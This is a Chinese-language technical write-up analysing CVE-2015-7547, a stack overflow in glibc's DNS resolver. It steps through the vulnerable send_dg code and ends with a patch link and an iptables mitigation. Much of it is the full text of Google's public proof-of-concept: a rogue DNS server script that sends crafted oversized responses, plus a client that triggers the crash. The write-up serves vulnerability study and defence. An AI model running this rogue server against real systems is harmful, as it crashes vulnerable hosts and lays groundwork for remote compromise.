catalogue
1. 漏洞简述 2. 调试环境搭建 3. 漏洞利用 4. 漏洞分析 5. 缓解修复方案
1. 漏洞简述
0x1: 函数调用顺序
getaddrinfo (getaddrinfo.c) -> _nss_dns_gethostbyname4_r (dns-host.c) -> __libc_res_nsearch (res_query.c) -> __libc_res_nquery (res_query.c) -> __libc_res_nsend (res_send.c) -> send_vc (res_send.c)
0x2: 总结概括
1. 该漏洞存在于resolv/res_send.c文件中,当getaddrinfo()函数被调用时如果DNS Server端返回一个超大包时会触发该漏洞 2. glibc中send_dg函数中负责向DNS Server发送DNS解析Request,并将收到的DNS Response回包保存在本地栈空间中 3. 但是glibc对DNS Response超大包的判断存在逻辑绕过漏洞,导致原始的边界判断、buffer栈空间reallocate逻辑被绕过,直接导致的结果就是相同的栈空间被用于多次处理DNS Response回包 4. 经过多次的超大畸形DNS Response回包之后,导致Stack Smash,父函数空间被非法覆盖,最终导致在__libc_res_nquery访问非法地址,segment fault
Relevant Link:
http://www.freebuf.com/news/96244.html http://news.wooyun.org/6c6e454262397856304f5a7447794631514a4d7864773d3d?from=timeline&isappinstalled=0 https://googleonlinesecurity.blogspot.ca/2016/02/cve-2015-7547-glibc-getaddrinfo-stack.html
2. 调试环境搭建
1. 安装ddd wget http://ftp.gnu.org/gnu/ddd/ddd-3.2.1.tar.gz tar zvxf ddd-3.2.1.tar.gz cd ddd-3.2.1 ./configure --prefix=/usr/local/ddd make & make install cd /usr/local/ddd/bin ddd 2. 准备glibc源码、debug符号表 sudo apt-get install libc6-dbg
sudo apt-get source libc6-dev
sudo apt-get install dpkg-dev 3. 准备debug版poc wget https://codeload.github.com/fjserna/CVE-2015-7547/zip/master unzip master vim Makefile 加入-g编译选项
3. 漏洞利用
1. 控制DNS Server,并能够配置A、AAAA记录的解析逻辑 2. 伪造的DNS Server第一个回包需要构造为2048byte大小 1) 完整填充2048的栈空间 2) send_dg会尝试重用旧的栈区,但是因为剩余空间为0,故失败 3) 新的buffer会通过malloc被申请,但是因为代码逻辑bug,导致就的栈空间被复用,并且使用上限为65535 4) 回包的数据格式必须正确 3. 伪造的DNS Server第二个回包 1) 构造畸形包,强制让__libc_res_nsend重试,这可以导致栈指针指向的栈空间被设置了错误的上限 4. 伪造的DNS Server第三个回包 1) 2048bytes,正常回包 2) 剩下的63487bytes可以防止攻击载荷 3) recvfrom最终导致了stack smash
CVE-2015-7547-poc.py
#!/usr/bin/python # # Copyright 2016 Google Inc # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # Authors: # Fermin J. Serna <[email protected]> # Gynvael Coldwind <[email protected]> # Thomas Garnier <[email protected]> import socket import time import struct import threading IP = '127.0.0.1' # Insert your ip for bind() here... ANSWERS1 = 184 terminate = False last_reply = None reply_now = threading.Event() def dw(x): return struct.pack('>H', x) def dd(x): return struct.pack('>I', x) def dl(x): return struct.pack('<Q', x) def db(x): return chr(x) def udp_thread(): global terminate # Handle UDP requests sock_udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock_udp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock_udp.bind((IP, 53)) reply_counter = 0 counter = -1 answers = [] while not terminate: data, addr = sock_udp.recvfrom(1024) print '[UDP] Total Data len recv ' + str(len(data)) id_udp = struct.unpack('>H', data[0:2])[0] query_udp = data[12:] # Send truncated flag... so it retries over TCP data = dw(id_udp) # id data += dw(0x8380) # flags with truncated set data += dw(1) # questions data += dw(0) # answers data += dw(0) # authoritative data += dw(0) # additional data += query_udp # question data += '\x00' * 2500 # Need a long DNS response to force malloc answers.append((data, addr)) if len(answers) != 2: continue counter += 1 if counter % 4 == 2: answers = answers[::-1] time.sleep(0.01) sock_udp.sendto(*answers.pop(0)) reply_now.wait() sock_udp.sendto(*answers.pop(0)) sock_udp.close() def tcp_thread(): global terminate counter = -1 #Open TCP socket sock_tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock_tcp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock_tcp.bind((IP, 53)) sock_tcp.listen(10) while not terminate: conn, addr = sock_tcp.accept() counter += 1 print 'Connected with ' + addr[0] + ':' + str(addr[1]) # Read entire packet data = conn.recv(1024) print '[TCP] Total Data len recv ' + str(len(data)) reqlen1 = socket.ntohs(struct.unpack('H', data[0:2])[0]) print '[TCP] Request1 len recv ' + str(reqlen1) data1 = data[2:2+reqlen1] id1 = struct.unpack('>H', data1[0:2])[0] query1 = data[12:] # Do we have an extra request? data2 = None if len(data) > 2+reqlen1: reqlen2 = socket.ntohs(struct.unpack('H', data[2+reqlen1:2+reqlen1+2])[0]) print '[TCP] Request2 len recv ' + str(reqlen2) data2 = data[2+reqlen1+2:2+reqlen1+2+reqlen2] id2 = struct.unpack('>H', data2[0:2])[0] query2 = data2[12:] # Reply them on different packets data = '' data += dw(id1) # id data += dw(0x8180) # flags data += dw(1) # questions data += dw(ANSWERS1) # answers data += dw(0) # authoritative data += dw(0) # additional data += query1 # question for i in range(ANSWERS1): answer = dw(0xc00c) # name compressed answer += dw(1) # type A answer += dw(1) # class answer += dd(13) # ttl answer += dw(4) # data length answer += 'D' * 4 # data data += answer data1_reply = dw(len(data)) + data if data2: data = '' data += dw(id2) data += 'B' * (2300) data2_reply = dw(len(data)) + data else: data2_reply = None reply_now.set() time.sleep(0.01) conn.sendall(data1_reply) time.sleep(0.01) if data2: conn.sendall(data2_reply) reply_now.clear() sock_tcp.shutdown(socket.SHUT_RDWR) sock_tcp.close() if __name__ == "__main__": t = threading.Thread(target=udp_thread) t.daemon = True t.start() tcp_thread() terminate = True
CVE-2015-7547-client.c
/* Copyright 2016 Google Inc * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * */ #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <err.h> #include <stdio.h> #include <string.h> int main(void) { struct addrinfo hints, *res; int r; memset(&hints, 0, sizeof(hints)); hints.ai_socktype = SOCK_STREAM; if ((r = getaddrinfo("foo.bar.google.com", "22", &hints, &res)) != 0) errx(1, "getaddrinfo: %s", gai_strerror(r)); return 0; }
测试过程
1. 伪造一个假的DNS Server 作为中间人,来验证该漏洞 2. 更改DNS 解析为 127.0.0.1,刷新DNS 缓存 sudo /etc/init.d/nscd restart 3. python CVE-2015-7547-poc.py 4. 编译 CVE-2015-7547-client.c 5. 运行编译 CVE-2015-7547-client 6. 若含有漏洞,会造成Segmentation Fault
4. 漏洞分析
CVE-2015-7547-client.c
/* Copyright 2016 Google Inc * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * */ #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <err.h> #include <stdio.h> #include <string.h> int main(void) { struct addrinfo hints, *res; int r; memset(&hints, 0, sizeof(hints)); hints.ai_socktype = SOCK_STREAM; if ((r = getaddrinfo("foo.bar.google.com", "22", &hints, &res)) != 0) errx(1, "getaddrinfo: %s", gai_strerror(r)); return 0; }
IPv4中使用gethostbyname()函数完成主机名到地址解析,这个函数仅仅支持IPv4,且不允许调用者指定所需地址类型的任何信息,返回的结构只包含了用于存储IPv4地址的空间。IPv6中引入了getaddrinfo()的新API,它是协议无关的,既可用于IPv4也可用于IPv6。getaddrinfo函数能够处理名字到地址以及服务到端口这两种转换,返回的是一个addrinfo的结构(列表)指针而不是一个地址清单。这些addrinfo结构随后可由套接口函数直接使用。如此以来,getaddrinfo函数把协议相关性安全隐藏在这个库函数内部。应用程序只要处理由getaddrinfo函数填写的套接口地址结构。该函数在 POSIX规范中定义了
在r = getaddrinfo("foo.bar.google.com", "22", &hints, &res)下断点,跟进分析
gdb CVE-2015-7547-client break 33 directory /home/ubuntu1404/LittleHann/CVE/glibc/eglibc-2.19/sysdeps/posix
directory /home/ubuntu1404/LittleHann/CVE/glibc/eglibc-2.19/resolv
通过segment fault直接断点在__libc_res_nquery函数中
/eglibc-2.19/resolv/res_query.c
int __libc_res_nquery(res_state statp, const char *name, /* domain name */ int class, int type, /* class and type of query */ u_char *answer, /* buffer to put answer */ int anslen, /* size of answer buffer */ u_char **answerp, /* if buffer needs to be enlarged */ u_char **answerp2, int *nanswerp2, int *resplen2) { .. n = __libc_res_nsend(statp, query1, nquery1, query2, nquery2, answer, anslen, answerp, answerp2, nanswerp2, resplen2); ..
函数执行后,answerp2指向的栈空间被覆盖,而之后answerp2指向的地址会被取地址,导致segment fault,跟进__libc_res_nsend分析
\eglibc-2.19\libc\resolv\res_send.c
int __libc_res_nsend(res_state statp, const u_char *buf, int buflen, const u_char *buf2, int buflen2, u_char *ans, int anssiz, u_char **ansp, u_char **ansp2, int *nansp2, int *resplen2) { .. n = send_dg(statp, buf, buflen, buf2, buflen2, &ans, &anssiz, &terrno, ns, &v_circuit, &gotsomewhere, ansp, ansp2, nansp2, resplen2); ..
继续跟进send_dg
} else if (pfd[0].revents & POLLIN) { //读取DNS Server返回的回包 int *thisanssizp; u_char **thisansp; int *thisresplenp; if ((recvresp1 | recvresp2) == 0 || buf2 == NULL) { thisanssizp = anssizp; //不管是否接收到回包,thisanssizp 都赋值为 anssizp(可能因为网络延迟),POC返回的anssizp为2048,刚好充满栈空间(user supplied buffer (from _nss_dns_gethostbyname4_r)) thisansp = anscp ?: ansp;
if (*thisanssizp < MAXPACKET /* Yes, we test ANSCP here. If we have two buffers both will be allocatable. */ && anscp #ifdef FIONREAD && (ioctl (pfd[0].fd, FIONREAD, thisresplenp) < 0 || *thisanssizp < *thisresplenp) #endif ) { //buffer is sufficient and `thisresplenp` is 2048 and that fits in the user buffer u_char *newp = malloc (MAXPACKET); //第一次回包的长度已经占满了2048栈空间,调用malloc申请新的空间(大小为MAXPACKET) if (newp != NULL) { *anssizp = MAXPACKET; *thisansp = ans = newp; //栈指针指向新申请的栈空间 } } HEADER *anhp = (HEADER *) *thisansp; socklen_t fromlen = sizeof(struct sockaddr_in6); assert (sizeof(from) <= fromlen); *thisresplenp = recvfrom(pfd[0].fd, (char*)*thisansp, //接收UDP回包
第一个回包接收完毕后,标记,函数返回
/* Mark which reply we received. */ if (recvresp1 == 0 && hp->id == anhp->id) recvresp1 = 1;
glibc发送第二次DNS请求
第二次回包强制让__libc_res_nsend重试,这可以导致栈指针指向的栈空间被设置了错误的上限
glibc继续循环接收回包
第三个回包从MAXPACKET - 2048开始继续填充旧的栈空间
直到MAXPACKET,这导致了stack smash,由于父函数传入了指针,stack smash导致了父函数,即res_query.c中__libc_res_nsend的参数被污染
父函数中被污染的指针在之后的代码被取成员访问,最终导致segment fault
Relevant Link:
https://sourceware.org/ml/libc-alpha/2016-02/msg00416.html https://github.com/fjserna/CVE-2015-7547 http://blog.knownsec.com/2016/02/linux-glibc-cve-2015-7547-analysis/
5. 缓解修复方案
0x1: Code Patch
https://sourceware.org/ml/libc-alpha/2016-02/msg00416.html
0x2: 临时缓解方案
技术人员可以通过将TCP DNS响应的大小限制为1024字节,并丢弃所有超过512字节的UDPDNS数据包来缓解该问题。值得庆幸的是,许多嵌入式Linux设备,例如家庭路由器,更倾向于使用uclibc库,因此可以免受该漏洞的影响
iptables -t filter -A INPUT -p udp -m length --length 512: -j DROP
Copyright (c) 2015 LittleHann All rights reserved